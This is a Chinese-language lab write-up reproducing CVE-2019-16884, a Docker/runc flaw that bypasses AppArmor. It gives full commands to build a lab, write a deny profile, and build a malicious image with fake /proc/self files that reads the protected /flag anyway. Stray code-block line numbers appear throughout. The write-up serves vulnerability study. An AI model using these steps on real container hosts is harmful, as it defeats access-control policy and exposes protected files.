CVE-2019-16884
本文作者:一生热爱
# 一、简介
apparmor 可以让管理员通过程序的配置文件限制程序的功能,其本身作为一个内核模块集成在 Linux 内核中(可能发现 lsmod 里面并没有 apparmor,这是因为 lsmod 展示的是所有动态加载的内核模块,通过 ls /sys/module/
就可以看到所有的内核模块包括系统中内置的),因此其通过内核提供强访问控制。
CVE-2019-16884 可以使得用户绕过 apparmor 的一些策略进而可以实现一些提权操作。
cat /sys/module/apparmor/parameters/enabled # 查看是否开启apparmor,返回为Y表示开启
sudo cat /sys/kernel/security/apparmor/profiles # 查看加载的配置文件
1
2
2
# 二、构建实验环境
> docker run -it ssst0n3/docker_archive:CVE-2019-16884
ubuntu login: root
Password: root
1
2
3
4
2
3
4
# 三、漏洞复现
1、创建 apparmor 规则
> cat > /etc/apparmor.d/no_flag <<EOF
#include <tunables/global>
profile no_flag flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
file,
deny /flag r,
}
EOF
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
2、创建一个 flag 文件
echo "Al1ex is comming" > /tmp/flag
1
3、应用规则
/sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag
1
4、检测,启动一个正常镜像此时无权限读取/flag内容3
docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag busybox cat /flag
1
5、利用漏洞启用一个恶意镜像,可以读取/flag
> mkdir -p rootfs/proc/self/{attr,fd}
> touch rootfs/proc/self/{status,attr/exec}
> touch rootfs/proc/self/fd/{4,5}
> cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /
VOLUME /proc
EOF
> docker build -t apparmor-bypass .
> docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10